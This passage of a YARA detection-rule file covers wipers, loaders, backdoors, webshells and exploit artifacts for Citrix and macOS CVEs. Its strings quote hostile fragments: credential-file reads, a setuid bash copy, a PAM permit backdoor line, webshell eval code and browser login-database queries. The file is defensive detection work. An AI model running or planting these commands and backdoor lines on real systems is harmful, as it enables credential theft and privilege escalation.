		$op1 = { 68 e0 30 52 00 6a 41 68 a5 00 00 00 6a 22 e8 81 d0 f8 ff 83 c4 14 33 c0 5e }
		$op2 = { 68 78 6a 50 00 6a 65 6a 74 6a 10 e8 d9 20 fd ff 83 c4 14 33 c0 5e }
		$op3 = { 31 40 00 13 31 40 00 a4 31 40 00 41 32 40 00 5f 33 40 00 e5 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 4000KB and 3 of them or 5 of them
}


rule SIGNATURE_BASE_APT_UA_Hermetic_Wiper_Feb22_1 : FILE
{
	meta:
		description = "Detects Hermetic Wiper malware"
		author = "Florian Roth (Nextron Systems)"
		id = "2cbe4a69-e31a-5f5f-ab1a-9d71d16fb30f"
		date = "2022-02-24"
		modified = "2023-12-05"
		reference = "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_ua_hermetic_wiper.yar#L2-L38"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1cf124f7533a060da8aff1a18f64a94b183502e58ffdfca012d72d99d30225ba"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da"
		hash2 = "3c557727953a8f6b4788984464fb77741b821991acbf5e746aebdd02615b1767"
		hash3 = "2c10b2ec0b995b88c27d141d6f7b14d6b8177c52818687e4ff8e6ecf53adf5bf"
		hash4 = "1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591"
	strings:
		$xc1 = { 00 5C 00 5C 00 2E 00 5C 00 50 00 68 00 79 00 73
               00 69 00 63 00 61 00 6C 00 44 00 72 00 69 00 76
               00 65 00 25 00 75 00 00 00 5C 00 5C 00 2E 00 5C
               00 45 00 50 00 4D 00 4E 00 54 00 44 00 52 00 56
               00 5C 00 25 00 75 00 00 00 5C 00 5C 00 2E 00 5C
               00 00 00 00 00 25 00 73 00 25 00 2E 00 32 00 73
               00 00 00 00 00 24 00 42 00 69 00 74 00 6D 00 61
               00 70 00 00 00 24 00 4C 00 6F 00 67 00 46 00 69
               00 6C 00 65 }
		$sc1 = { 00 44 00 72 00 69 00 76 00 65 00 72 00 73 00 00
               00 64 00 72 00 76 00 00 00 53 00 79 00 73 00 74
               00 65 00 6D 00 33 00 32 }
		$s1 = "\\\\?\\C:\\Windows\\System32\\winevt\\Logs" wide fullword
		$s2 = "\\\\.\\EPMNTDRV\\%u" wide fullword
		$s3 = "DRV_XP_X64" wide fullword
		$s4 = "%ws%.2ws" wide fullword
		$op1 = { 8b 7e 08 0f 57 c0 8b 46 0c 83 ef 01 66 0f 13 44 24 20 83 d8 00 89 44 24 18 0f 88 3b 01 00 00 }
		$op2 = { 13 fa 8b 55 f4 4e 3b f3 7f e6 8a 45 0f 01 4d f0 0f 57 c0 }
	condition:
		( uint16( 0 ) == 0x5a53 or uint16( 0 ) == 0x5a4d ) and filesize < 400KB and ( 1 of ( $x* ) or 3 of them )
}

rule SIGNATURE_BASE_SUSP_BAT_Aux_Jan20_1 : FILE
{
	meta:
		description = "Detects BAT file often dropped to cleanup temp dirs during infection"
		author = "Florian Roth (Nextron Systems)"
		id = "c97f189e-a0c2-532e-b087-8669da72a2ad"
		date = "2020-01-29"
		modified = "2023-12-05"
		reference = "https://medium.com/@quoscient/the-chicken-keeps-laying-new-eggs-uncovering-new-gc-maas-tools-used-by-top-tier-threat-actors-531d80a6b4e9"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_susp_bat_aux.yar#L2-L19"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "6b8cd9b7683a18a02a81222d6819fe903500702c83f198f73ac428d1bc91fb9a"
		score = 65
		quality = 85
		tags = "FILE"
		hash1 = "f5d558ec505b635b1e37557350562ad6f79b3da5cf2cf74db6e6e648b7a47127"
	strings:
		$s1 = "if exist \"C:\\Users\\" ascii
		$s2 = "\\AppData\\Local\\Temp\\" ascii
		$s3 = "del \"C:\\Users\\" ascii
		$s4 = ".bat\"" ascii
		$s5 = ".exe\" goto" ascii
	condition:
		uint8( 0 ) == 0x3a and filesize <= 1KB and all of them
}


rule SIGNATURE_BASE_MAL_Win_Amadey_Jun25 : FILE
{
	meta:
		description = "This rule detects intrinsic patterns of Amadey version 5.34"
		author = "0x0d4y"
		id = "a697ef8a-168f-5310-8b23-c504c630be5a"
		date = "2025-06-18"
		modified = "2025-07-24"
		reference = "https://0x0d4y.blog/amadey-targeted-analysis/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_win_amadey_jun25.yar#L1-L23"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "08dc17aa8f7e83bc349339a9a1b48184b094d8c66273d7199a15b206c6416946"
		score = 80
		quality = 85
		tags = "FILE"
		yarahub_reference_md5 = "1db72c5832fb71b29863ccc3125137a0"
		yarahub_uuid = "853111b8-e548-46a9-8f5a-ec8621343e0d"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		malpedia_family = "win.amadey"
	strings:
		$rc4_algorithm = { 8a 96 ?? ?? ?? ?? 0f b6 86 ?? ?? ?? ?? 03 f8 0f b6 ca 03 f9 81 e7 ff 00 00 80 79 ?? 4f 81 cf 00 ff ff ff 47 8a 87 ?? ?? ?? ?? 88 86 ?? ?? ?? ?? 46 88 97 ?? ?? ?? ?? 81 fe 00 01 00 00 7c }
		$s_MZ_PE_validation = { b8 4d 5a ?? ?? 66 39 06 0f 85 a8 01 ?? ?? 8b 7e 3c 03 fe 81 3f 50 45 00 00  }
		$s_loop_through_pe_section = { 8b 4c 24 0c 03 ce 03 4e 3c 6a ?? ff b1 08 01 ?? ?? 8b 81 0c 01 00 00 03 c6 50 8b 81 04 01 ?? ?? 03 44 24 20 50 ff 74 24 30 ff 15 f4 f0 44 00 8b 4c 24 10 0f b7 47 06 41 83 44 24 0c 28 89 4c 24 10 3b c8 }
		$s_str_decryption_algorithm = { 8b cb 0f 43 35 ?? ?? ?? ?? 2b c8 8d 04 0a 33 d2 f7 f3 }
	condition:
		uint16( 0 ) == 0x5a4d and $rc4_algorithm and 2 of ( $s* )
}

rule SIGNATURE_BASE_MAL_BACKORDER_LOADER_WIN_Go_Jan23 : LOADER GOLANG BACKORDER MALWARE WINDOWS FILE
{
	meta:
		description = "Detects the BACKORDER loader compiled in GO which download and executes a second stage payload from a remote server."
		author = "Arda Buyukkaya (modified by Florian Roth)"
		id = "90a82f2c-be92-5d0b-b47e-f47db2b15867"
		date = "2025-01-23"
		modified = "2025-03-20"
		reference = "EclecticIQ"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_win_go_backorder_loader.yar#L1-L31"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "70c91ffdc866920a634b31bf4a070fb3c3f947fc9de22b783d6f47a097fec2d8"
		logic_hash = "9e79ec9e58e02b7660383ff20957b95bc3c61ed3badc9af3d5829ebe5bf6bd7b"
		score = 80
		quality = 85
		tags = "LOADER, GOLANG, BACKORDER, MALWARE, WINDOWS, FILE"
	strings:
		$GoBuildId = "Go build" ascii
		$x_DebugSymbol_1 = "C:/updatescheck/main.go"
		$x_DebugSymbol_2 = "C:/Users/IEUser/Desktop/Majestic/"
		$s_FunctionName_1 = "main.getUpdates.func"
		$s_FunctionName_2 = "main.obt_zip"
		$s_FunctionName_3 = "main.obtener_zip"
		$s_FunctionName_4 = "main.get_zip"
		$s_FunctionName_5 = "main.show_pr0gressbar"
		$s_FunctionName_6 = "main.pr0cess"
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 10MB and $GoBuildId and ( 1 of ( $x* ) or 3 of them )
}

rule SIGNATURE_BASE_MAL_Passwordstate_Moserware_Backdoor_Apr21_1 : FILE
{
	meta:
		description = "Detects backdoor used in Passwordstate incident"
		author = "Florian Roth (Nextron Systems)"
		id = "061de3ae-c404-5e4a-a16b-b3b208b1ae7f"
		date = "2021-04-25"
		modified = "2023-12-05"
		reference = "https://thehackernews.com/2021/04/passwordstate-password-manager-update.html"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_passwordstate_backdoor.yar#L1-L24"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "46bf5b7f4f75997535742021d1d5c2129daae0b3836c08383058e5e5b8e27d93"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "c2169ab4a39220d21709964d57e2eafe4b68c115061cbb64507cfbbddbe635c6"
		hash2 = "f23f9c2aaf94147b2c5d4b39b56514cd67102d3293bdef85101e2c05ee1c3bf9"
	strings:
		$x1 = "https://passwordstate-18ed2.kxcdn.com" wide
		$s1 = " ProxyUserName, ProxyPassword FROM [SystemSettings]" wide fullword
		$s2 = "PasswordstateService.Passwordstate.Crypto" wide
		$s3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari" wide fullword
		$op1 = { 00 4c 00 4e 00 43 00 4c 00 49 00 31 00 31 00 3b 00 00 17 }
		$op2 = { 4c 00 49 00 31 00 31 00 3b 00 00 17 50 00 72 00 }
		$op3 = { 61 00 74 00 65 00 2d 00 31 00 38 00 65 00 64 00 32 00 2e 00 6b 00 78 00 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and 1 of ( $x* ) or 3 of them
}

rule SIGNATURE_BASE_APT_MAL_Falsefont_Backdoor_Jan24 : FILE
{
	meta:
		description = "Detects FalseFont backdoor, related to Peach Sandstorm APT"
		author = "X__Junior, Jonathan Peters"
		id = "b6a3efff-2abf-5ac1-9a2b-c7b30b51f92c"
		date = "2024-01-11"
		modified = "2024-04-24"
		reference = "https://twitter.com/MsftSecIntel/status/1737895710169628824"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_peach_sandstorm.yar#L1-L31"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "364275326bbfc4a3b89233dabdaf3230a3d149ab774678342a40644ad9f8d614"
		logic_hash = "9a1b3779b63dd7fa8ddc84067dec09542518e9acebbf5d3b45cb75ec4add1158"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$x1 = "Agent.Core.WPF.App" ascii
		$x2 = "3EzuNZ0RN3h3oV7rzILktSHSaHk+5rtcWOr0mlA1CUA=" wide
		$x3 = "viOIZ9cX59qDDjMHYsz1Yw==" wide
		$sa1 = "StopSendScreen" wide
		$sa2 = "Decryption failed :(" wide
		$sb1 = "{0}     {1}     {2}     {3}" wide
		$sb2 = "\\BraveSoftware\\Brave-Browser\\User Data\\" wide
		$sb3 = "select * from logins" wide
		$sb4 = "Loginvault.db" wide
		$sb5 = "password_value" wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 1 of ( $x* ) or all of ( $sa* ) or all of ( $sb* ) or ( 1 of ( $sa* ) and 4 of ( $sb* ) ) )
}

rule SIGNATURE_BASE_SUSP_LNX_Sindoor_ELF_Obfuscation_Aug25 : FILE
{
	meta:
		description = "Detects ELF obfuscation technique used by Sindoor dropper related to APT 36"
		author = "Pezier Pierre-Henri"
		id = "7e743c58-1e05-5387-af73-2df177386482"
		date = "2025-08-29"
		modified = "2025-09-02"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_apt36_operation_sindoor.yar#L1-L16"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "6879a2b730e391964afe4dbbc29667844ba0c29239be5503b7c86e59e7052443"
		logic_hash = "c1258c1f6d4b49104bedf3fbef932f1775ede7d32191df2e5479ca9b291add9e"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "UPX!"
	condition:
		filesize < 10MB and uint16( 0 ) == 0 and uint16( 4 ) > 0 and $s1 in ( 0xc0 .. 0x100 )
}

rule SIGNATURE_BASE_SUSP_LNX_Sindoor_Desktopfile_Aug25 : FILE
{
	meta:
		description = "Detects ELF obfuscation technique used by Sindoor dropper related to APT 36"
		author = "Pezier Pierre-Henri"
		id = "69f97bb3-0fb8-5e36-a4f2-0b283744a59e"
		date = "2025-08-29"
		modified = "2025-09-02"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_apt36_operation_sindoor.yar#L18-L34"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "9943bdf1b2a37434054b14a1a56a8e67aaa6a8b733ca785017d3ed8c1173ac59"
		logic_hash = "1549aac3132c5f3e73d984c3404a5530507e967df4ab6d5ccd408abc874a5306"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$hdr = "[Desktop Entry]"
		$s1 = "printf '\\\\x7FELF' | dd of"
		$s2 = "Future_Note_Warfare_OpSindoor.pdf"
	condition:
		filesize < 100KB and $hdr and any of ( $s* )
}

rule SIGNATURE_BASE_SUSP_JAVA_Loader_Indicators_Aug25 : FILE
{
	meta:
		description = "Detects indicators of a Java loader used in phishing campaigns"
		author = "Florian Roth"
		id = "e0b386ff-aea3-5311-8d0e-e97b6e64e340"
		date = "2025-08-07"
		modified = "2025-08-08"
		reference = "https://www.malwation.com/blog/technical-analysis-of-a-stealth-java-loader-used-in-phishing-campaigns-targeting-turkiye"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_soupdealer_java_aug25.yar#L25-L43"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ac610cd6d3030f49058d5e6f059b746cf3da05ca3cdc8f2be2f5f1cfec2ff665"
		score = 70
		quality = 85
		tags = "FILE"
		hash1 = "c4cf746fce283878dde567e5457a8ebdbb7ff3414be46569ecdd57338bd96fa1"
	strings:
		$s1 = "Loader.classPK" ascii fullword
		$s2 = "stubPK" ascii
		$s3 = "META-INF/MANIFEST.MFPK" ascii
	condition:
		uint16( 0 ) == 0x4b50 and filesize < 500KB and $s1 in ( filesize - 224 .. filesize ) and $s2 in ( filesize - 224 .. filesize ) and $s3 in ( filesize - 224 .. filesize )
}

rule SIGNATURE_BASE_EXPL_Citrix_Netscaler_ADC_Forensicartifacts_CVE_2023_3519_Jul23_2 : CVE_2023_3519 FILE
{
	meta:
		description = "Detects forensic artifacts found after an exploitation of Citrix NetScaler ADC CVE-2023-3519"
		author = "Florian Roth"
		id = "471ce547-0133-5836-b9d1-02c932ecfd1e"
		date = "2023-07-21"
		modified = "2023-12-05"
		reference = "https://www.cisa.gov/sites/default/files/2023-07/aa23-201a_csa_threat_actors_exploiting_citrix-cve-2023-3519_to_implant_webshells.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_citrix_netscaler_adc_exploitation_cve_2023_3519.yar#L27-L41"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "48d4225d0935084003f7a98c554d7c4722a91290dfe190001da52bce332b3f7d"
		score = 70
		quality = 85
		tags = "CVE-2023-3519, FILE"
	strings:
		$s1 = "tar -czvf - /var/tmp/all.txt" ascii fullword
		$s2 = "-out /var/tmp/test.tar.gz" ascii
		$s3 = "/test.tar.gz /netscaler/"
	condition:
		filesize < 10MB and 1 of them
}

rule SIGNATURE_BASE_EXPL_Citrix_Netscaler_ADC_Forensicartifacts_CVE_2023_3519_Jul23_3 : CVE_2023_3519 FILE
{
	meta:
		description = "Detects forensic artifacts found after an exploitation of Citrix NetScaler ADC CVE-2023-3519"
		author = "Florian Roth"
		id = "2f40b423-f1da-5711-ac4f-18de77cd52d0"
		date = "2023-07-24"
		modified = "2023-12-05"
		reference = "https://www.mandiant.com/resources/blog/citrix-zero-day-espionage"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_citrix_netscaler_adc_exploitation_cve_2023_3519.yar#L43-L61"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "e78e1a788503b841ed0f4e5cd415eb35d8911092778120d7fd061ed20820da37"
		score = 70
		quality = 85
		tags = "CVE-2023-3519, FILE"
	strings:
		$x1 = "cat /flash/nsconfig/ns.conf >>" ascii
		$x2 = "cat /nsconfig/.F1.key >>" ascii
		$x3 = "openssl base64 -d < /tmp/" ascii
		$x4 = "cp /usr/bin/bash /var/tmp/bash" ascii
		$x5 = "chmod 4775 /var/tmp/bash"
		$x6 = "pwd;pwd;pwd;pwd;pwd;"
		$x7 = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
	condition:
		filesize < 10MB and 1 of them
}

rule SIGNATURE_BASE_WEBSHELL_SECRETSAUCE_Jul23_1 : CVE_2023_3519 FILE
{
	meta:
		description = "Detects SECRETSAUCE PHP webshells (found after an exploitation of Citrix NetScaler ADC CVE-2023-3519)"
		author = "Florian Roth"
		id = "db0542e7-648e-5f60-9838-e07498f58b51"
		date = "2023-07-24"
		modified = "2023-12-05"
		reference = "https://www.mandiant.com/resources/blog/citrix-zero-day-espionage"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_citrix_netscaler_adc_exploitation_cve_2023_3519.yar#L79-L100"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c762d46ae43a3e10453c2ee17039812a06086ac85bdb000cf8308f5196a9dee2"
		score = 85
		quality = 85
		tags = "CVE-2023-3519, FILE"
	strings:
		$sa1 = "for ($x=0; $x<=1; $x++) {" ascii
		$sa2 = "$_REQUEST[" ascii
		$sa3 = "@eval" ascii
		$sb1 = "public $cmd;" ascii
		$sb2 = "return @eval($a);" ascii
		$sb3 = "$z->run($z->get('openssl_public_decrypt'));"
	condition:
		filesize < 100KB and ( all of ( $sa* ) or 2 of ( $sb* ) )
}


rule SIGNATURE_BASE_EXPL_HKTL_Macos_Switcharoo_CVE_2022_46689_Dec22 : CVE_2022_46689 FILE
{
	meta:
		description = "Detects POCs that exploit privilege escalation vulnerability CVE-2022-46689 on macOS"
		author = "Florian Roth (Nextron Systems)"
		id = "25c551f7-48ae-5e71-b86e-68fb440262e5"
		date = "2022-12-19"
		modified = "2023-12-05"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_macos_switcharoo_dec22.yar#L2-L40"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c2cbe12a01a38db522c49143c5168d3519ef974b4e6157cb251aa66707c69d78"
		score = 80
		quality = 85
		tags = "CVE-2022-46689, FILE"
		hash1 = "64acd79a37b6f8443250dd33e95bd933ee39fc6d4f35ba6a987dae878d017386"
		hash2 = "6c2ace75000de8a7e8786f28b1b41eed72816991a0961475c6800753bfe9278c"
		hash3 = "6ce080b236ea3aa3b4c992d12af99445ab800abc709c6abbef852a9f0cf219b6"
		hash4 = "83cc4d72686aedf5218f07e60e759b4849b368975b70352dbba6fac4e8cde72b"
		hash5 = "a7b7fcfd609ff653d32c133417c0d3ffd9f581fb6de05ddbdead4d36cb6e3cc2"
		hash6 = "b2a97edb0ddc30ecc1a0b0c0739820bbef787394b44ab997393475de2ebf7b60"
		hash7 = "c7a64c6da5cf5046ae5c683d0264a32027110a2736b4c1b0df294e29a061a865"
		hash8 = "d517cde0d45e6930336538c89b310d5d540a66c921bf6f6f9b952e721b2f6a11"
		hash9 = "d53a559ea9131fe42eacf51431da3adde5a8fd5c2f3198f0d5451ef62ed33888"
	strings:
		$x1 = "vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d" ascii fullword
		$x2 = "Execting: %s (posix_spawn returned: %d)" ascii fullword
		$x3 = "/usr/bin/sed -e \"s/rootok/permit/g\" /etc" ascii fullword
		$x4 = "vm_unaligned_copy_switch_race" ascii fullword
		$s1 = "RO mapping was modified" ascii fullword
		$s2 = "Ran %d times in %ld seconds with no failure" ascii fullword
		$opa1 = { 4c 89 ee 31 c9 41 b8 00 40 00 00 6a 01 41 5c 41 54 6a 03 58 }
		$opa2 = { e8 ?? 01 00 00 48 8b 05 ?? 0? 00 00 8b 38 48 8b 13 44 8b 4b 14 48 83 ec 08 4c 89 ee 31 c9 }
		$opa3 = { 48 89 45 c8 48 8d 43 08 48 89 45 d0 4c 8b 7d c8 4c 8b 6d d0 6a 64 41 5e 80 7b 60 00 }
		$opb1 = { 55 48 89 e5 48 83 ec 60 48 8b 05 ?1 06 00 00 48 8b 00 48 89 45 f8 0f 28 05 ?b 07 00 00 48 8d 75 d0 }
	condition:
		( filesize < 400KB and 1 of ( $x* ) ) or ( ( uint16( 0 ) == 0xfacf or ( uint16( 0 ) == 0xfeca or uint16( 0 ) == 0xfacf or uint32( 0 ) == 0xbebafeca ) ) and filesize < 400KB and 2 of them )
}

rule SIGNATURE_BASE_EXPL_Macos_Switcharoo_Indicator_Dec22 : CVE_2022_46689 FILE
{
	meta:
		description = "Detects indicators found after exploitations of CVE-2022-46689"
		author = "Florian Roth (Nextron Systems)"
		id = "d5d9559a-c19c-5ddc-9d72-701986a9d7ac"
		date = "2022-12-19"
		modified = "2023-12-05"
		reference = "https://github.com/zhuowei/MacDirtyCowDemo"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_macos_switcharoo_dec22.yar#L42-L54"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9b9ea134fc4b3a7b15ae585ced2e12cbe1defc54bc6175282d6b7a2a0b65abd1"
		score = 65
		quality = 85
		tags = "CVE-2022-46689, FILE"
	strings:
		$x1 = "auth       sufficient     pam_permit.so" ascii
	condition:
		filesize < 1KB and $x1
}

rule SIGNATURE_BASE_APT_PY_Bluelight_Loader : INKYSQUID
{
	meta:
		description = "Python Loader used to execute the BLUELIGHT malware family."
		author = "threatintel@volexity.com"
		id = "f8da3e40-c3b0-5b7f-8ece-81874993d8cd"
		date = "2021-06-22"
		modified = "2023-12-05"
		reference = "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_inkysquid.yar#L39-L58"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "e7e18a6d648b1383706439ba923335ac4396f6b5d2a3dc8f30f63ded7df29eda"
		score = 75
		quality = 85
		tags = "INKYSQUID"
		hash1 = "80269413be6ad51b8b19631b2f5559c9572842e789bbce031babe6e879d2e120"
		license = "See license at https://github.com/volexity/threat-intel/LICENSE.txt"
	strings:
		$s1 = "\"\".join(chr(ord(" ascii
		$s2 = "import ctypes " ascii
		$s3 = "ctypes.CFUNCTYPE(ctypes.c_int)" ascii
		$s4 = "ctypes.memmove" ascii
		$s5 = "python ended" ascii
	condition:
		all of them
}

rule SIGNATURE_BASE_APT_MAL_Win_Decrok : INKYSQUID
{
	meta:
		description = "The DECROK malware family, which uses the victim's hostname to decrypt and execute an embedded payload."
		author = "threatintel@volexity.com"
		id = "dc83843d-fd2a-52f1-82e8-8e36b135a0c5"
		date = "2021-06-23"
		modified = "2023-12-05"
		reference = "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_inkysquid.yar#L61-L82"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "6a452d088d60113f623b852f33f8f9acf0d4197af29781f889613fed38f57855"
		logic_hash = "47fa03e95ac17ba7195858cd63b1769e5d56ab8a5edf872b345989b767050b87"
		score = 75
		quality = 85
		tags = "INKYSQUID"
		license = "See license at https://github.com/volexity/threat-intel/LICENSE.txt"
	strings:
		$v1 = {C7 ?? ?? ?? 01 23 45 67 [2-20] C7 ?? ?? ?? 89 AB CD EF C7 ?? ?? ?? FE DC BA 98}
		$av1 = "Select * From AntiVirusProduct" wide
		$av2 = "root\\SecurityCenter2" wide
		$funcformat = { 25 30 32 78 [0-10] 43 72 65 61 74 65 54 68 72 65 61 64 }
	condition:
		all of them
}

rule SIGNATURE_BASE_APT_NK_Scarcruft_RUBY_Shellcode_XOR_Routine : APT
{
	meta:
		description = "Detects Ruby ShellCode XOR routine used by ScarCruft APT group"
		author = "S2WLAB_TALON_JACK2"
		id = "c393f2db-8ade-5083-9cec-f62f23056f8b"
		date = "2021-05-20"
		modified = "2023-12-05"
		reference = "https://medium.com/s2wlab/matryoshka-variant-of-rokrat-apt37-scarcruft-69774ea7bf48"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_inkysquid.yar#L104-L133"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a97041a06729d639c22a4ee272cc96555345b692fc0da8b62e898891d02b23ea"
		score = 75
		quality = 85
		tags = "APT"
		type = "APT"
		version = "0.1"
	strings:
		$hex1 = {C1 C7 0D 40 F6 C7 01 74 ?? 81 F7}
		$hex2 = {41 C1 C2 0D 41 8B C2 44 8B CA 41 8B CA 41 81 F2}
	condition:
		1 of them
}

rule SIGNATURE_BASE_APT_NK_Scarcruft_Evolved_ROKRAT : APT FILE
{
	meta:
		description = "Detects RokRAT malware used by ScarCruft APT group"
		author = "S2WLAB_TALON_JACK2"
		id = "53cabf41-0154-5372-b667-60d8a7cb9806"
		date = "2021-07-09"
		modified = "2023-12-05"
		reference = "https://medium.com/s2wlab/matryoshka-variant-of-rokrat-apt37-scarcruft-69774ea7bf48"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_inkysquid.yar#L135-L179"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "01a2f410687c943d6c6e421ffacfe42f9e7b6afb82e43ba03a8d525e075a3a3c"
		score = 75
		quality = 85
		tags = "APT, FILE"
		type = "APT"
		version = "0.1"
	strings:
		$AES_IV_KEY = {
        C7 44 24 ?? 32 31 12 23
        C7 44 24 ?? 34 45 56 67
        C7 44 24 ?? 78 89 9A AB
        C7 44 24 ?? 0C BD CE DF
        C7 45 ?? 2B 7E A5 16
        C7 45 ?? 28 AE D2 A6
        C7 45 ?? AB F7 15 88
        C7 45 ?? 09 CF 4F 3C
        }
		$url_deocde = {
               80 E9 0F
               80 F1 C8
               88 48 ??
               48 83 EA 01  }
	condition:
		uint16( 0 ) == 0x5A4D and any of them
}

rule SIGNATURE_BASE_Royalroad_Code_Pattern1 : FILE
{
	meta:
		description = "Detects RoyalRoad weaponized RTF documents"
		author = "nao_sec"
		id = "db2fb24c-df99-5622-ac3d-d31c34481984"
		date = "2020-01-15"
		modified = "2023-12-05"
		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_royalroad.yar#L25-L40"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ebd507d95c454562fa0b364072120b35b1bf8dd2be129a419d893f6708ab9cca"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$S1 = "48905d006c9c5b0000000000030101030a0a01085a5ab844eb7112ba7856341231"
		$RTF = "{\\rt"
	condition:
		$RTF at 0 and $S1
}

rule SIGNATURE_BASE_Royalroad_Code_Pattern2 : FILE
{
	meta:
		description = "Detects RoyalRoad weaponized RTF documents"
		author = "nao_sec"
		id = "135024ae-9ecf-5691-95ca-96002e500fd5"
		date = "2020-01-15"
		modified = "2023-12-05"
